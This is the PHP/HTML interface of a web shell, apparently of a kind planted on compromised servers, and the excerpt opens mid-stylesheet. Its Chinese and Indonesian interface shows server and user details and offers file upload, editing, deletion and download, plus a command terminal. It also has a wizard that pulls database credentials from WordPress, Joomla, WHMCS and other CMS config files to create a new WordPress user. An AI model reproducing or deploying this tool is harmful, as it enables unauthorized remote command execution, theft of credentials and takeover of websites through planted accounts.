10px;display:flex;flex-wrap:wrap;gap:6px;align-items:center}.btn-main{background:#111727;border:1px solid #1f2940;border-radius:3px;padding:5px 11px;font-size:12px;color:#d3defc;display:inline-flex;align-items:center;gap:6px;cursor:pointer}.btn-main i{font-size:12px}.btn-main:hover{background:#182136}.upload-form{display:inline-flex;align-items:center;gap:6px}.choose-input{background:#020309;border:1px solid #30354a;color:#e0e0e0;font-size:12px;border-radius:3px;padding:3px 6px}.container{padding:10px}.path-line{margin-top:4px;margin-bottom:8px;color:#e8e8e8;font-size:12px;display:flex;flex-wrap:wrap;gap:2px;align-items:center}.path-line .prefix{color:#ffc44c;margin-right:4px}.path-line .root{color:#999;margin:0 2px}.path-line .path a{color:#fff}.path-line .path a:hover{text-decoration:underline}table{width:100%;border-collapse:collapse;background:#020309;border:1px solid #202230}thead{background:#04050b}th,td{padding:6px 8px;border-bottom:1px solid #151728}th{color:#a5adcc;text-align:left;font-size:11px}tbody tr:nth-child(even){background:#050713}tbody tr:hover{background:#101423}.name-cell{display:flex;align-items:center;gap:7px}.name-cell i{color:#ffc44c}.size{color:#cfd3e6}.perm{color:#9fa6c7}.date{color:#c3c7da}.actions{display:flex;gap:4px}.icon-btn{border:none;background:#0a0d18;border-radius:3px;padding:3px 5px;cursor:pointer}.icon-btn i{font-size:11px;color:#cfd3e6}.icon-btn:hover{background:#151a2b}.icon-btn.del i{color:#ff6b6b}.icon-btn.ren i{color:#ffd166}.modal-overlay{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.75);display:none;align-items:center;justify-content:center;z-index:999}.terminal-box,.editor-box{background:#05070c;color:#eee;border-radius:4px;border:1px solid #303546;width:95%;max-width:800px;box-shadow:0 0 18px #000;display:flex;flex-direction:column;overflow:hidden}.terminal-box{height:45vh}.terminal-header,.editor-header{padding:6px 10px;background:#121623;border-bottom:1px solid #242a3a;color:#f0f0f0;font-size:11px;display:flex;align-items:center;justify-content:space-between}.terminal-header-left{display:flex;align-items:center;gap:6px}.terminal-header-left span.icon{font-weight:700;color:#ffc44c}.terminal-body{background:#05070c;padding:6px;flex:1;display:flex;flex-direction:column}.terminal-output{background:#05070e;border-radius:3px;border:1px solid #272b3b;flex:1;overflow:auto;padding:6px 8px;font-size:11px;color:#d9e2ff;white-space:pre-wrap}.terminal-output::-webkit-scrollbar{width:6px}.terminal-output::-webkit-scrollbar-thumb{background:#606bff;border-radius:10px}.terminal-output::-webkit-scrollbar-track{background:#05070e}.terminal-input-row{margin-top:6px;display:flex;gap:4px;align-items:center}.term-prompt{background:#05070e;color:#e5e5e5;font-size:11px;padding:4px 6px;border-radius:3px;border:1px solid #272b3b}.terminal-input-row input[type=text]{flex:1;padding:4px 6px;border-radius:3px;border:1px solid #272b3b;background:#05070e;color:#f5f5f5;font-size:11px}.terminal-input-row input[type=text]:focus,.modal-input:focus{outline:0;border-color:#4b7cff}.terminal-input-row button{padding:4px 10px;font-size:11px;border-radius:3px;border:1px solid #272b3b;background:#111727;color:#d3defc;cursor:pointer}.terminal-input-row button:hover{background:#18223a}.modal-box{background:#05070c;border-radius:4px;border:1px solid #303546;box-shadow:0 0 20px #000;width:90%;max-width:460px;padding:14px 18px}.modal-title{font-size:14px;margin-bottom:10px;color:#f5f5f5;display:flex;align-items:center;gap:8px}.modal-title i{color:#ffc44c}.modal-label{font-size:12px;margin-bottom:4px;color:#cfd3e6}.modal-input{width:100%;padding:6px 8px;border-radius:3px;border:1px solid #292f42;background:#020309;color:#f5f5f5;font-size:12px;margin-bottom:10px}.modal-actions{text-align:right;display:flex;justify-content:flex-end;gap:8px;margin-top:4px}.btn-small{padding:5px 12px;font-size:12px;border-radius:3px;border:1px solid #273046;background:#10172a;color:#e0e4ff;cursor:pointer}.btn-small:hover{background:#18223a}.btn-small.cancel{border-color:#444;background:#20232f;color:#ddd}.editor-box{height:70vh}.editor-header i{color:#ffc44c}.editor-filename{font-weight:700;color:#ffeaa7}.editor-body{background:#05070c;padding:8px;flex:1;display:flex;flex-direction:column;overflow:hidden}.editor-textarea{width:100%;flex:1;border:1px solid #252b3a;border-radius:3px;resize:none;background:#05060f;color:#e6f0ff;font-size:12px;font-family:Consolas,Menlo,monospace;line-height:1.4;padding:8px;overflow:auto}.editor-textarea:focus{outline:0;border-color:#3b82f6}.editor-actions{margin-top:8px;display:flex;justify-content:flex-end;gap:8px}.editor-btn{padding:5px 14px;font-size:12px;border-radius:3px;border:1px solid #273046;cursor:pointer}.editor-btn.save{background:#1f2937;color:#e3ecff}.editor-btn.close{background:#20232f;color:#ddd;border-color:#444}.editor-btn.save:hover{background:#273549}.editor-btn.close:hover{background:#2b303f}.editor-textarea::-webkit-scrollbar{width:6px}.editor-textarea::-webkit-scrollbar-thumb{background:#3b82f6;border-radius:10px}.editor-textarea::-webkit-scrollbar-track{background:#0b0f18}@media(max-width:720px){.top-buttons{flex-direction:column}.terminal-box,.editor-box{width:96%}}</style><script>function openCreateModal(t){var o=document.getElementById('createModal'),l=document.getElementById('createTitle'),b=document.getElementById('createLabel'),a=document.getElementById('createAction'),i=document.getElementById('createName');t==='file'?(l.innerText='新建文件',b.innerText='文件名',a.value='newfile'):(l.innerText='新建文件夹',b.innerText='文件夹名',a.value='mkdir');i.value='';o.style.display='flex';setTimeout(function(){i.focus()},10)}function closeCreateModal(){document.getElementById('createModal').style.display='none'}function openRenameModal(n){var o=document.getElementById('renameModal'),f=document.getElementById('renameOld'),t=document.getElementById('renameNew');f.value=n;t.value=n;o.style.display='flex';setTimeout(function(){t.focus()},10)}function closeRenameModal(){document.getElementById('renameModal').style.display='none'}function closeEditorModal(){window.location.href=<?php echo json_encode($_SERVER['PHP_SELF'].(isset($current_dir)?'?dir='.urlencode($current_dir):''));?>;}function openTerminal(){document.getElementById('terminalModal').style.display='flex';var i=document.getElementById('terminalInput');if(i)setTimeout(function(){i.focus()},10)}function closeTerminal(){document.getElementById('terminalModal').style.display='none'}function openWpUserModal(){document.getElementById('wpUserModal').style.display='flex';}</script></head><body> <div class="header" style="display: flex; justify-content: space-between; align-items: flex-start;"> <div> Linux <?php echo h(php_uname('n'));?> <?php echo h(php_uname('r'));?> <?php echo h(php_uname('m'));?><br> PHP/<?php echo h(phpversion());?><br> 服务器IP : <span class=green><?php echo h($_SERVER['SERVER_ADDR']??'0.0.0.0');?></span> & 您的IP : <span class=green><?php echo h($_SERVER['REMOTE_ADDR']??'0.0.0.0');?></span><br> 域名 : <span class=red>无法读取 [ /etc/named.conf ]</span><br> 用户 : <b><?php echo h(get_current_user());?></b> </div> <div style="margin-left: 10px;"> <svg width="70" height="70" viewBox="0 0 250 260" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Threat Radar icon"> <defs> <style> .shield-stroke { fill: none; stroke: #28A9E0; stroke-width: 10; } .ring { fill: none; stroke: #28A9E0; stroke-width: 4; opacity: .65; } .ring.thin { stroke-width: 2; opacity: .45; } .dot { fill: #28A9E0; opacity: .55; } .needle { fill: #F15A29; } .hub { fill: #fff; stroke: #28A9E0; stroke-width: 4; } @keyframes sweep { from { transform: rotate(0deg); } to { transform: rotate(360deg); } } @keyframes ping { 0% { r: 2.5; opacity: .7; } 70% { r: 7.5; opacity: 0; } 100% { r: 7.5; opacity: 0; } } .sweep { transform-origin: 120px 120px; animation: sweep 12s linear infinite; } .ping { animation: ping 2.8s ease-out infinite; } @media (prefers-reduced-motion: reduce) { .sweep, .ping { animation: none; } } </style> <linearGradient id="wedge-grad" x1="0" y1="0" x2="1" y2="0"> <stop offset="0" stop-color="#28A9E0" stop-opacity="0.22"/> <stop offset="1" stop-color="#28A9E0" stop-opacity="0"/> </linearGradient> <clipPath id="shield-clip"> <path d="M120 20 C93 32, 63 38, 40 40 C38 96, 46 140, 70 176 C90 205, 108 219, 120 226 C132 219, 150 205, 170 176 C194 140, 202 96, 200 40 C177 38, 147 32, 120 20Z"/> </clipPath> </defs> <g class="shadow"> <path class="shield-stroke" d="M120 20 C93 32, 63 38, 40 40 C38 96, 46 140, 70 176 C90 205, 108 219, 120 226 C132 219, 150 205, 170 176 C194 140, 202 96, 200 40 C177 38, 147 32, 120 20Z"/> <g clip-path="url(#shield-clip)"> <circle class="ring" cx="120" cy="120" r="70"/> <circle class="ring thin" cx="120" cy="120" r="45"/> <circle class="ring thin" cx="120" cy="120" r="20"/> <g class="sweep"> <path d="M120,120 L210,120 A90,90 0 0,1 120,210 Z" fill="url(#wedge-grad)" opacity=".55"/> </g> <line x1="120" y1="30" x2="120" y2="210" stroke="#28A9E0" stroke-width="1.5" opacity=".35"/> <line x1="30" y1="120" x2="210" y2="120" stroke="#28A9E0" stroke-width="1.5" opacity=".35"/> <circle class="dot" cx="158" cy="90" r="3.5"/> <circle class="dot ping" cx="92" cy="148" r="2.5"/> </g> <circle class="hub" cx="120" cy="120" r="7"/> <g class="sweep"> <polygon class="needle" points="120,120 200,116 200,124"/> </g> </g> </svg> </div> </div> <div class=top-buttons> <form method=post enctype=multipart/form-data class=upload-form><input type=hidden name=action value=upload><button type=submit class=btn-main><i class="fa fa-upload"></i> 上传</button><input type=file name=upload[] multiple class=choose-input></form> <button class=btn-main onclick="openTerminal();return false"><i class="fa fa-terminal"></i> 终端</button> <button type=button class=btn-main onclick="openCreateModal('file')"><i class="fa fa-file-circle-plus"></i> 新建文件</button> <button type=button class=btn-main onclick="openCreateModal('folder')"><i class="fa fa-folder-plus"></i> 新建文件夹</button> <button class="btn-main" onclick="openWpUserModal()"><i class="fa fa-user-plus"></i> Create WP User</button> <a href="<?php echo h($_SERVER['PHP_SELF'].'?logout=1');?>" class=btn-main style=margin-left:auto><i class="fa fa-right-from-bracket"></i> 登出</a> </div> <div class=container><div class=path-line><span class=prefix>+</span><span class=root> / </span><?php $c=count($exdir);for($i=0;$i<$c;$i++){$s=$exdir[$i];if($s==='')continue;$p=implode('/',array_slice($exdir,0,$i+1));echo '<span class=path><a href="'.h($_SERVER['PHP_SELF'].'?dir='.urlencode($p)).'">'.h($s).'</a></span> <span class=root> / </span>';}?><span class=path><a href="<?php echo h($_SERVER['PHP_SELF']);?>" style="color:#ffb347;font-weight:700">[ 返回根目录 ]</a></span></div><table><thead><tr><th>名称</th><th style=width:12%>大小</th><th style=width:18%>权限</th><th style=width:18%>修改时间</th><th style=width:16%>操作</th></tr></thead><tbody><?php foreach($dirs as $d){if(isset($d['is_parent'])&&$d['is_parent']){?><tr><td class=name-cell><i class="fa fa-level-up-alt"></i><a href="<?php echo h($_SERVER['PHP_SELF'].'?dir='.urlencode($d['parent']));?>">..</a></td><td class=size>-</td><td class=perm>-</td><td class=date>-</td><td></td></tr><?php }}foreach($dirs as $d){if(isset($d['is_parent'])&&$d['is_parent'])continue;?><tr><td class=name-cell><i class="fa fa-folder"></i><a href="<?php echo h($_SERVER['PHP_SELF'].'?dir='.urlencode($d['full']));?>"><?php echo h($d['name']);?></a></td><td class=size>[目录]</td><td class=perm><?php echo h($d['perm']);?></td><td class=date><?php echo $d['time']?date('Y-m-d H:i',$d['time']):'-';?></td><td class=actions><button class="icon-btn ren" type=button onclick="openRenameModal('<?php echo h($d['name']);?>')" title=重命名><i class="fa fa-i-cursor"></i></button><form method=post style=display:inline onsubmit="return confirm('确定删除文件夹及其内容?');"><input type=hidden name=action value=delete><input type=hidden name=target value="<?php echo h($d['name']);?>"><button class="icon-btn del" type=submit title=删除><i class="fa fa-trash"></i></button></form></td></tr><?php }foreach($files as $f){?><tr><td class=name-cell><i class="fa fa-file-code"></i><a href="<?php echo h($_SERVER['PHP_SELF'].'?dir='.urlencode($current_dir).'&edit='.urlencode($f['name']));?>"><?php echo h($f['name']);?></a></td><td class=size><?php echo fm_format_bytes($f['size']);?></td><td class=perm><?php echo h($f['perm']);?></td><td class=date><?php echo $f['time']?date('Y-m-d H:i',$f['time']):'-';?></td><td class=actions><button class="icon-btn ren" type=button onclick="openRenameModal('<?php echo h($f['name']);?>')" title=重命名><i class="fa fa-i-cursor"></i></button><a class=icon-btn href="<?php echo h($_SERVER['PHP_SELF'].'?dir='.urlencode($current_dir).'&download='.urlencode($f['name']));?>" title=下载><i class="fa fa-download"></i></a><form method=post style=display:inline onsubmit="return confirm('确定删除此文件?');"><input type=hidden name=action value=delete><input type=hidden name=target value="<?php echo h($f['name']);?>"><button class="icon-btn del" type=submit title=删除><i class="fa fa-trash"></i></button></form></td></tr><?php }if(empty($dirs)&&empty($files))echo '<tr><td colspan=5 style="text-align:center;padding:8px;color:#888">文件夹为空。</td></tr>';?></tbody></table></div> <!-- Modal Terminal (existing) --> <div class=modal-overlay id=terminalModal onclick="if(event.target===this)closeTerminal()"><div class=terminal-box onclick="event.stopPropagation()"><div class=terminal-header><div class=terminal-header-left><span class=icon>>_</span><span class=title>终端</span></div><button style="border:none;background:none;font-size:11px;cursor:pointer;color:#ccc" onclick="closeTerminal();return false">关闭 ✕</button></div><div class=terminal-body><div class=terminal-output><?php echo h($term_history===''?'输入 \'help\' 查看可用命令。':$term_history);?></div><form method=post class=terminal-input-row><span class=term-prompt><?php echo h(get_current_user());?>@</span><input type=hidden name=term_action value=run><input type=text name=term_cmd id=terminalInput autocomplete=off placeholder="输入命令 (ls, whoami, cd ...)"><button type=submit>></button></form></div></div></div> <!-- Modal Create File/Folder (existing) --> <div class=modal-overlay id=createModal onclick="if(event.target===this)closeCreateModal()"><div class=modal-box onclick="event.stopPropagation()"><div class=modal-title><i class="fa fa-file-circle-plus"></i><span id=createTitle>新建文件</span></div><form method=post id=createForm><input type=hidden name=action id=createAction value=newfile><div class=modal-label id=createLabel>文件名</div><input type=text name=name id=createName class=modal-input placeholder="输入名称"><div class=modal-actions><button type=button class="btn-small cancel" onclick="closeCreateModal()">取消</button><button type=submit class=btn-small>创建</button></div></form></div></div> <!-- Modal Rename (existing) --> <div class=modal-overlay id=renameModal onclick="if(event.target===this)closeRenameModal()"><div class=modal-box onclick="event.stopPropagation()"><div class=modal-title><i class="fa fa-i-cursor"></i><span>重命名</span></div><form method=post><input type=hidden name=action value=rename><input type=hidden name=old id=renameOld><div class=modal-label>新名称</div><input type=text name=new id=renameNew class=modal-input><div class=modal-actions><button type=button class="btn-small cancel" onclick="closeRenameModal()">取消</button><button type=submit class=btn-small>重命名</button></div></form></div></div> <!-- Modal WP User Creator --> <div class="modal-overlay" id="wpUserModal" onclick="if(event.target===this) window.location.href='?wp_reset=1&dir=<?php echo urlencode($current_dir); ?>'"> <div class="modal-box" onclick="event.stopPropagation()" style="max-width: 500px;"> <div class="modal-title"><i class="fa fa-user-plus"></i> Create WordPress User</div> <?php if (!isset($_SESSION['wp_step'])): ?> <!-- Step 0: Pilih mode --> <form method="post"> <input type="hidden" name="wp_action" value="choose_mode"> <div style="margin-bottom: 15px;"> <button type="submit" name="mode" value="cms" class="btn-main" style="width:100%; margin-bottom:8px;"><i class="fa fa-cog"></i> Auto (baca dari file CMS)</button> <button type="submit" name="mode" value="manual" class="btn-main" style="width:100%;"><i class="fa fa-keyboard"></i> Manual (isi kredensial DB)</button> </div> </form> <?php elseif ($_SESSION['wp_step'] === 'cms_choose'): ?> <!-- Step CMS: pilih CMS dan path --> <form method="post"> <input type="hidden" name="wp_action" value="get_cms_config"> <div class="modal-label">Pilih CMS</div> <select name="cms" class="modal-input" required> <option value="wp">WordPress</option> <option value="drupal">Drupal (config.php)</option> <option value="drupal2">Drupal (settings.php)</option> <option value="vb">vBulletin</option> <option value="phpnuke">PHP-Nuke</option> <option value="smf">SMF</option> <option value="whmcs">WHMCS</option> <option value="joomla">Joomla</option> <option value="phpbb">phpBB</option> <option value="mybb">MyBB</option> </select> <div class="modal-label">Path (direktori)</div> <input type="text" name="path" class="modal-input" value="<?php echo h($current_dir); ?>" placeholder="Contoh: /home/user/public_html"> <div class="modal-actions"> <a href="?wp_back=1&dir=<?php echo urlencode($current_dir); ?>" class="btn-small cancel">Kembali</a> <button type="submit" class="btn-small">Get Config</button> </div> </form> <?php elseif ($_SESSION['wp_step'] === 'manual_creds'): ?> <!-- Step Manual: masukkan kredensial DB --> <form method="post"> <input type="hidden" name="wp_action" value="manual_connect"> <div class="modal-label">Host Database</div> <input type="text" name="db_host" class="modal-input" value="localhost" placeholder="contoh: localhost"> <div class="modal-label">Username Database</div> <input type="text" name="db_user" class="modal-input" required> <div class="modal-label">Password Database</div> <input type="password" name="db_pass" class="modal-input"> <div class="modal-actions"> <a href="?wp_back=1&dir=<?php echo urlencode($current_dir); ?>" class="btn-small cancel">Kembali</a> <button type="submit" class="btn-small">Hubungkan</button> </div> </form> <?php elseif ($_SESSION['wp_step'] === 'select_db_auto' || $_SESSION['wp_step'] === 'select_db_manual'): ?> <!-- Step Pilih Database --> <form method="post"> <input type="hidden" name="wp_action" value="select_db"> <div class="modal-label">Pilih Database tempat user akan dibuat</div> <select name="database" class="modal-input" required> <?php foreach ($_SESSION['wp_dbs'] as $db): ?> <option value="<?php echo h($db); ?>" <?php echo (isset($_SESSION['wp_selected_db']) && $_SESSION['wp_selected_db'] == $db) ? 'selected' : ''; ?>><?php echo h($db); ?></option> <?php endforeach; ?> </select> <div class="modal-actions"> <a href="?wp_back=1&dir=<?php echo urlencode($current_dir); ?>" class="btn-small cancel">Kembali</a> <button type="submit" class="btn-small">Lanjut</button> </div> </form> <?php elseif ($_SESSION['wp_step'] === 'create_user'): ?> <!-- Step Buat User Baru --> <form method="post"> <input type="hidden" name="wp_action" value="create_user"> <div class="modal-label">Username</div> <input type="text" name="username" class="modal-input" required> <div class="modal-label">Email</div> <input type="email" name="email" class="modal-input" required> <div class="modal-label">Password</div> <input type="password" name="password" class="modal-input" required> <div class="modal-actions"> <a href="?wp_back=1&dir=<?php echo urlencode($current_dir); ?>" class="btn-small cancel">Kembali</a> <button type="submit" class="btn-small">Buat User</button> </div> </form> <?php endif; ?> </div> </div> <?php if ($edit_file!==null):?><div class=modal-overlay id=editorModal style=display:flex onclick="if(event.target===this)closeEditorModal()"><div class=editor-box onclick="event.stopPropagation()"><div class=editor-header><i class="fa fa-code"></i><span>代码编辑器 :</span><span class=editor-filename><?php echo h(basename($edit_file));?></span></div><div class=editor-body><form method=post style="display:flex;flex:1;flex-direction:column;overflow:hidden"><input type=hidden name=action value=save><input type=hidden name=file value="<?php echo h(basename($edit_file));?>"><textarea class=editor-textarea name=content><?php echo h($edit_content);?></textarea><div class=editor-actions><button type=button class="editor-btn close" onclick="closeEditorModal()">关闭</button><button type=submit class="editor-btn save">保存</button></div></form></div></div></div><?php endif;?> <?php if($term_just_ran):?><script>document.addEventListener('DOMContentLoaded',openTerminal);</script><?php endif;?> <?php if(isset($_SESSION['swal'])):?><script>Swal.fire({icon:'<?php echo h($_SESSION['swal']['icon']);?>',title:'<?php echo h($_SESSION['swal']['title']);?>',text:'<?php echo h($_SESSION['swal']['text']);?>',timer:2200,showConfirmButton:false});</script><?php unset($_SESSION['swal']);endif;?> <!-- Tampilkan modal wizard jika session wp_step ada --> <?php if (isset($_SESSION['wp_step'])): ?> <script>document.addEventListener('DOMContentLoaded', function() { document.getElementById('wpUserModal').style.display = 'flex'; });</script> <?php endif; ?> </body></html>
SAVE
CANCEL